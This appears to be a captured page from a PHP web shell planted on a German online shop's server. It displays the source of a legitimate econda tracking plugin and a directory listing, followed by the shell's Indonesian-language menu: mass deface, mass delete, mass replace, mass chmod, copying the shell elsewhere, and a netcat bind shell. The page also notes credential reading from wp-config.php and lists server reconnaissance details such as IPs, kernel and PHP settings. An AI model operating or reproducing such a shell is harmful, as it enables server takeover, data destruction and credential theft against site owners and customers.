WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / includes / econda / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/econda/econda.php (15.94 KB)
<?php
/* -----------------------------------------------------------------------------------------
   $Id: econda.php ???? 2009-03-19 10:00:00Z mz $
   
   Modified Version for Gambio GX
   ----------------------------------------------------------------------------------------
   based on:
   XT-Commerce - community made shopping
   http://www.xt-commerce.com

   Copyright (c) 2003 XT-Commerce
   -----------------------------------------------------------------------------------------
   based on:
   (c) 2005 osCommerce(econda.php,v 1.42 2003/06/10); www.econda.de

   Released under the GNU General Public License
   -----------------------------------------------------------------------------------------

   Copyright (c) 2009 ECONDA GmbH Karlsruhe
   All rights reserved.

   ECONDA GmbH
   Eisenlohrstr. 43
   76135 Karlsruhe
   Tel. +49 (721) 663035-0
   Fax +49 (721) 663035-10
   info@econda.de
   www.econda.de

*/


echo "\n<!-- Econda-Monitor -->\n";

// cPath = id1_id2 => name1/name2
function product_path_by_name($product, $lang) {
        require_once (DIR_FS_INC.'xtc_get_product_path.inc.php');
        $product_path_by_id = xtc_get_product_path($product);
        $product_categories_id = explode("_" , $product_path_by_id);

        $new_product_path_by_name = '';

        for ($i = 0, $n = sizeof($product_categories_id); $i < $n; $i++) {
                $product_path_by_name_query = xtc_db_query("select categories_name from " . TABLE_CATEGORIES_DESCRIPTION . " where categories_id = '" . $product_categories_id[$i] . "' and language_id = '". (int)$lang ."'");
                $product_path_by_name = xtc_db_fetch_array($product_path_by_name_query);
                $new_product_path_by_name .= $product_path_by_name['categories_name'];
                if (($i+1) < $n) {
                        $new_product_path_by_name .= '/';
                }
        }
        return $new_product_path_by_name;
}

function product_to_EMOSItem($product, $lang, $quant, $cedit_id = 0) {
        require_once (DIR_FS_INC.'xtc_get_tax_rate.inc.php');
        require_once (DIR_FS_CATALOG.'includes/classes/xtcPrice.php');
        $product_to_emos_query = xtc_db_query("select p.products_id, pd.products_name, p.products_model, p.products_price, p.products_tax_class_id from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd where p.products_status = '1' and p.products_id = '" . (int)$product. "' and pd.products_id = p.products_id and pd.language_id = '" . (int)$lang . "'");
        $product_to_emos = xtc_db_fetch_array($product_to_emos_query);
        $emos_xtPrice = new xtcPrice(DEFAULT_CURRENCY,$_SESSION['customers_status']['customers_status_id']);
        $product_to_emos_price = $emos_xtPrice->xtcGetPrice($product_to_emos['products_id'], false, $quant, $product_to_emos['products_tax_class_id'], $product_to_emos['products_price'], '', $cedit_id);
        if (ECONDA_PRICE_IS_BRUTTO == 'false') {
                $product_to_emos_price = sprintf("%0.2f",($product_to_emos_price / ((xtc_get_tax_rate($product_to_emos['products_tax_class_id']) + 100) / 100)));
        }
        $item = new EMOS_Item();
        $item->productID = $product_to_emos['products_id'];
        $item->productName = $product_to_emos['products_name'];
        $item->price = $product_to_emos_price;
        $item->productGroup = product_path_by_name((int)$product, (int)$lang)."/". $product_to_emos['products_name'];
        $item->quantity = (int)$quant;
        return $item;
}

function breadcrumbToContent($trail) { // breadcrumb to emosContent helper
      $econda_string = '';
      for ($i=0, $n=sizeof($trail); $i<$n; $i++) {
      	$econda_string .= $trail[$i]['title'];
        if (($i) < $n) $econda_string .= '/';
      }
      return substr($econda_string,0,-1);
}

global $breadcrumb;
global $product;
global $shop_content_data;
global $listing_split;
global $_GET;

// new instance
$emos = new EMOS();
$emos->prettyPrint();

// Startseite >> Katalog >> Kategorie >> .. => Startseite/Katalog/Kategorie/..
//$emos->addContent(htmlspecialchars($breadcrumb->econda()),ENT_QUOTES);
//$emos->addContent(urlencode($breadcrumb->econda()));

$getTrail = $breadcrumb->_trail;
$brToCont = breadcrumbToContent($getTrail);
$emos->addContent($brToCont);


// login erfolgreich
if ($_SESSION['login_success']) {
        $emos->addLogin($_SESSION['customer_id'],'0');
        unset($_SESSION['login_success']);
}

// $current_page = basename($PHP_SELF);
// $current_page = split('\?', basename($_SERVER['PHP_SELF'])); $current_page = $current_page[0]; // for BadBlue(Win32) webserver compatibility
$current_page = join('',preg_grep("/.+\.php$/", preg_split("/\?|\//", $_SERVER['PHP_SELF'])));

// adds siteID
$getSiteId = $_SERVER['SERVER_NAME'];
$emos->addLangID($getSiteId);

// adds pageID
$getPageId == "";

if(sizeof($_GET) != 0) {

        if(trim($current_page) != ""){$getPageId .= $current_page;}
        else {$current_page .= "start";}

        if(trim($_GET['cat']) != "") {$getPageId .= "_".$_GET['cat'];}
        if(trim($_GET['info']) != "") {$getPageId .= "_".$_GET['info'];}
        if(trim($_GET['products_id']) != "") {$getPageId .= "_".$_GET['products_id'];}
        if(trim($_GET['coID']) != "") {$getPageId .= "_".$_GET['coID'];}
        if(trim($_GET['keywords']) != "") {$getPageId .= "_suche";}
        if(trim($_GET['manu']) != "") {$getPageId .= "_".$_GET['manu'];}
        if(trim($_GET['order_id']) != "") {$getPageId .= "_".$_GET['order_id'];}
        if(trim($_GET['cPath']) != "") {$getPageId .= "_".$_GET['cPath'];}
        if(trim($_GET['language']) != "") {$getPageId .= "_".$_GET['language'];}

}
else {
        if (trim($current_page) != "") {
                $getPageId .= $current_page;
        }
        else {
                $getPageId .= "start";
        }
}

$emos->addPageID(md5($getPageId));

//Fix: if open basket is deactivated after adding an item
$inBasket = true;
if ($_SESSION['econda_cart']) {
    	//for ($i=0, $n=sizeof($_SESSION['econda_cart']); $i<$n; $i++) {
    	for ($i=0; $i < sizeof($_SESSION['econda_cart']); $i++) {    		
             if ($_SESSION['econda_cart'][$i]['cart_qty'] != $_SESSION['econda_cart'][$i]['old_qty']) {
             	if($current_page != FILENAME_SHOPPING_CART) {
				  	$inBasket = false;
				 }             	
				  $current_page = FILENAME_SHOPPING_CART;
             }
        }
}

switch ($current_page) {
        case FILENAME_PRODUCT_INFO:
                if (is_object($product) && $product->isProduct()) {
                        $item = product_to_EMOSItem($product->data['products_id'],$_SESSION['languages_id'], 1);
                        $emos->addDetailView($item);
                }
                break;
        case FILENAME_CONTENT:
                if ($_GET['coID'] == '7') $emos->addContact($shop_content_data['content_heading']);
                break;
        case FILENAME_ADVANCED_SEARCH_RESULT:
                $numRows = $listing_split->number_of_rows;
                if(!$numRows) $numRows = 0;
                if ($error == 0 || $keyerror == 1) $emos->addSearch($_GET['keywords'],$numRows);
                break;
        case FILENAME_CREATE_ACCOUNT:
                if($messageStack){
                        if ($messageStack->size('create_account') > 0) { // Registrierung fehlerhaft
                                $emos->addRegister('0','1'); // no customer_id given, dummy id
                                $emos->addOrderProcess("2_Anmelden/Neu");
                        } elseif ($_SESSION['customer_id']) { // Registrierung erfolgreich
                                $emos->addRegister($_SESSION['customer_id'],'0');
                                $emos->addOrderProcess("2_Anmelden/Erfolg");
                        }
                }
                break;
        case FILENAME_LOGIN:
                	if (!$_SESSION['login_success']) { // Login fehlerhaft
       	         	    $emos->addLogin('0','1'); // no customer_id given, dummy id
        	                	$emos->addOrderProcess("2_Anmelden/Fehler");
            	    } else {
            	    		$emos->addOrderProcess("2_Anmelden");
         	       }
                break;
        case FILENAME_SHOPPING_CART:
                $emos->addOrderProcess("1_Warenkorb");
                $setUpdate = 0;
                if ($_SESSION['econda_cart']) {
                        //for ($i=0, $n=sizeof($_SESSION['econda_cart']); $i<$n; $i++) {
                	for ($i=0; $i < sizeof($_SESSION['econda_cart']); $i++) {
							
          				    require_once (DIR_FS_INC.'xtc_check_categories_status.inc.php');
							require_once (DIR_FS_INC.'xtc_get_products_mo_images.inc.php');
							require_once (DIR_FS_INC.'xtc_get_vpe_name.inc.php');
							require_once (DIR_FS_INC.'get_cross_sell_name.inc.php');          	
							
							//fix wrong cart count
							$test = '';
							$cartCounter = 0;
							$actProdCount = 0;
							$actProdId = '';
							$bsFix = false;
							
							$products = $_SESSION['cart']->get_products();
							
                        	foreach ($products as $key => $val) {
                        		
								foreach ($val as $value) {
									if($cartCounter == 0) {
										if(strstr($value,'{') != false && $actProd == '') {
											$idPos = strpos($value,'{');
											$actProdId = substr($value,0,$idPos);
										}
										else {
											$actProdId = trim($value);
										}	
									}
									if($actProdId == $_SESSION['econda_cart'][$i]['id'] && $cartCounter == 5) {
										if($inBasket){
											$bsFix = true;
										}
										$actCartQty = trim(intval($value));	
									}
									$cartCounter += 1;
								}
								$cartCounter = 0;
							}
							
							if(!$inBasket) {
								$emos->appendPreScript('NO');
                        		if($actCartQty > $_SESSION['econda_cart'][$i]['old_qty']) {
                        			$new_qty = $actCartQty - $_SESSION['econda_cart'][$i]['old_qty'];
                        			$setUpdate = 1;	
                        		}
                        	
                        		elseif($actCartQty < $_SESSION['econda_cart'][$i]['old_qty']) {
                        			$new_qty = $actCartQty - $_SESSION['econda_cart'][$i]['old_qty'];
                        			$setUpdate = 2;
                        		}
							}
							
                   			else {
                   	    	 	if($_SESSION['econda_cart'][$i]['cart_qty'] > $_SESSION['econda_cart'][$i]['old_qty']) {
                   	    	 		if($bsFix){
                   	    	 			$new_qty = $actCartQty - $_SESSION['econda_cart'][$i]['old_qty'];
                   	    	 		}
                   	    	 		else {
                   	    	 			$new_qty = $_SESSION['econda_cart'][$i]['cart_qty'] - $_SESSION['econda_cart'][$i]['old_qty'];
                   	    	 		}
                        			$setUpdate = 1;
                        			$emos->appendPreScript('YEA '.$_SESSION['econda_cart'][$i]['cart_qty']);
                        		}
                        	
                        		elseif($_SESSION['econda_cart'][$i]['cart_qty'] < $_SESSION['econda_cart'][$i]['old_qty']) {
                        			$new_qty = $_SESSION['econda_cart'][$i]['cart_qty'] - $_SESSION['econda_cart'][$i]['old_qty'];
                        			$setUpdate = 2;
                        		}                   				
							}							
							
                        	$item = product_to_EMOSItem($_SESSION['econda_cart'][$i]['id'],$_SESSION['languages_id'], abs($new_qty));
                        	
                        	if($setUpdate == 1) {
                        		$emos->addToBasket($item);
                        	}
                            elseif($setUpdate == 2) {
                        		$emos->removeFromBasket($item);
                        	} 
                        	$setUpdate = 0; 
                        	$bsFix = false;                      	
                        }
                        unset($_SESSION['econda_cart']);
                }
        break;
                case FILENAME_CHECKOUT_SHIPPING:
                $emos->addOrderProcess("3_Versand");
        break;
                case FILENAME_CHECKOUT_SHIPPING_ADDRESS:
                $emos->addOrderProcess("3_Versand/Lieferadresse");
                break;
        case FILENAME_CHECKOUT_PAYMENT:
                $emos->addOrderProcess("4_Zahlung");
    break;
    case 'uos_checkout_payment_info.php':
                $emos->addOrderProcess("4_Zahlung/Zahlungsinformationen");
                break;
        case FILENAME_CHECKOUT_PAYMENT_ADDRESS:
                $emos->addOrderProcess("4_Zahlung/Rechnungsadresse");
                break;
        case FILENAME_CHECKOUT_CONFIRMATION:
                $emos->addOrderProcess("5_Bestaetigung");
    break;
    case 'uos_checkout_confirmation_print.php':
                $emos->addOrderProcess("5_Bestaetigung/Drucken");
    break;
    case 'uos_checkout_payment_iframe.php':
                $emos->addOrderProcess("5_Bestaetigung/Zahlungssystem");
    break;
    case 'uos_checkout_ownform.php':
                $emos->addOrderProcess("5_Bestaetigung/Zahlungssystem Eigenes Formular");
    break;
    case 'uos_checkout_cancel.php':
                $emos->addOrderProcess("5_Bestaetigung/Zahlungssystem Abbruch");
    break;
    case 'uos_checkout_failure.php':
                $emos->addOrderProcess("5_Bestaetigung/Zahlungssystem Fehler");
    break;
    case 'uos_checkout_success.php':
                  $emos->addOrderProcess("6_Erfolg/Zahlungssystem");
          break;
        case FILENAME_CHECKOUT_SUCCESS:
                $emos->addOrderProcess("6_Erfolg");
                // billing daten
                $last_orders_query = xtc_db_query("select orders_id, customers_city, customers_postcode, customers_country from "
                                        . TABLE_ORDERS . " where customers_id = '" . (int)$_SESSION['customer_id']
                                        . "' order by date_purchased desc limit 1");
                $last_orders = xtc_db_fetch_array($last_orders_query);
                // basket daten
                $last_orders_products_query = xtc_db_query("select products_id, products_quantity, products_price, products_tax from "
                                                . TABLE_ORDERS_PRODUCTS . " where orders_id = '" . (int)$last_orders['orders_id']
                                                . "' order by orders_products_id");
                $count = 0;
                $basket = array();
                $last_orders_totalprice = 0;
                while ($last_orders_products = xtc_db_fetch_array($last_orders_products_query)) {
                        if (ECONDA_PRICE_IS_BRUTTO == 'false') {
                                $last_orders_totalprice += $last_orders_products['products_price'] * $last_orders_products['products_quantity'] / (1+$last_orders_products['products_tax']/100);
                        } else {
                                $last_orders_totalprice += $last_orders_products['products_price'] * $last_orders_products['products_quantity'];
                        }
                        $item = product_to_EMOSItem($last_orders_products['products_id'],$_SESSION['languages_id'], $last_orders_products['products_quantity']);
                        $basket[$count] = $item;
                        $count++;
                }
                $emos->addEmosBillingPageArray($last_orders['orders_id'],
                        $_SESSION['customer_id'],
                        sprintf("%0.2f",$last_orders_totalprice),
                        $last_orders['customers_country'],
                        $last_orders['customers_postcode'],
                        $last_orders['customers_city']);
                $emos->addEmosBasketPageArray($basket);
                break;
        default:
        break;
}
// output

echo $emos->toString();

echo "\n<!-- Econda-Monitor -->\n";
?>
namawaktuukuranownerpermaksi
..
gfx/ 2013-11-12 21:0642.8 KB 76129f60960:kundendxwrx-rx-r
class.econda304SP2.php 2013-11-12 21:051.38 KB 76129f60960:kunden-xw-x-----
edt
econda.jpg 2013-11-12 21:0537.13 KB 76129f60960:kunden-xw-x-----
edt
econda.php 2013-11-12 21:0515.94 KB 76129f60960:kunden-xw-x-----
edt
emos.php 2013-11-12 21:0526.68 KB 76129f60960:kunden-xw-x-----
edt
emos2.js 2013-11-12 21:0525.07 KB 76129f60960:kunden-xw-x-----
edt
emos32_xtc.js 2013-11-12 21:0510.63 KB 76129f60960:kunden-xw-x-----
edt
style.css 2013-11-12 21:0520.37 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/econda
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK